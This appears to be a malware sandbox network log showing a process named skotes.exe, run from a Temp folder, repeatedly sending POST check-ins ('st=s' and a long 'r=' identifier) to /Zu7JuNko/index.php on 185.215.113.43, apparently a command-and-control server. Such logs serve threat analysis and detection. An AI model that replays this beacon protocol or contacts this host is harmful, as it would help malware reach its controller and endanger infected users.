Nov 23, 2024 18:26:12.865628004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:14.479509115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50245	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:16.136776924 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:17.570811033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50247	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:19.332250118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:20.726686001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50248	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:22.361059904 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:23.779320955 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50250	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:25.528043032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:26.956298113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50251	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:28.651190996 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:30.003531933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50252	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:31.759668112 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:33.187800884 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50257	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:34.833401918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:36.244340897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50258	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:37.997827053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:39.350895882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50259	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:40.992253065 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:42.508985043 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50260	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:44.250224113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:45.668698072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50261	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:47.321378946 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:48.716300011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50262	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:50.465493917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:51.900657892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50263	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:53.542726040 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:54.888878107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50264	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:56.698755026 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:58.124861002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50265	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:59.801567078 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:01.307096004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50266	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:03.053508043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:04.439836025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50267	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:06.072181940 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:07.639851093 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50268	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:09.386524916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:10.825738907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50269	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:12.467376947 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:13.833604097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50270	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:15.579792023 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:16.966839075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50271	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:18.601543903 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:27:20.138513088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50272	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:21.880038023 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:27:23.306071997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50273	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:27:24.931849957 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 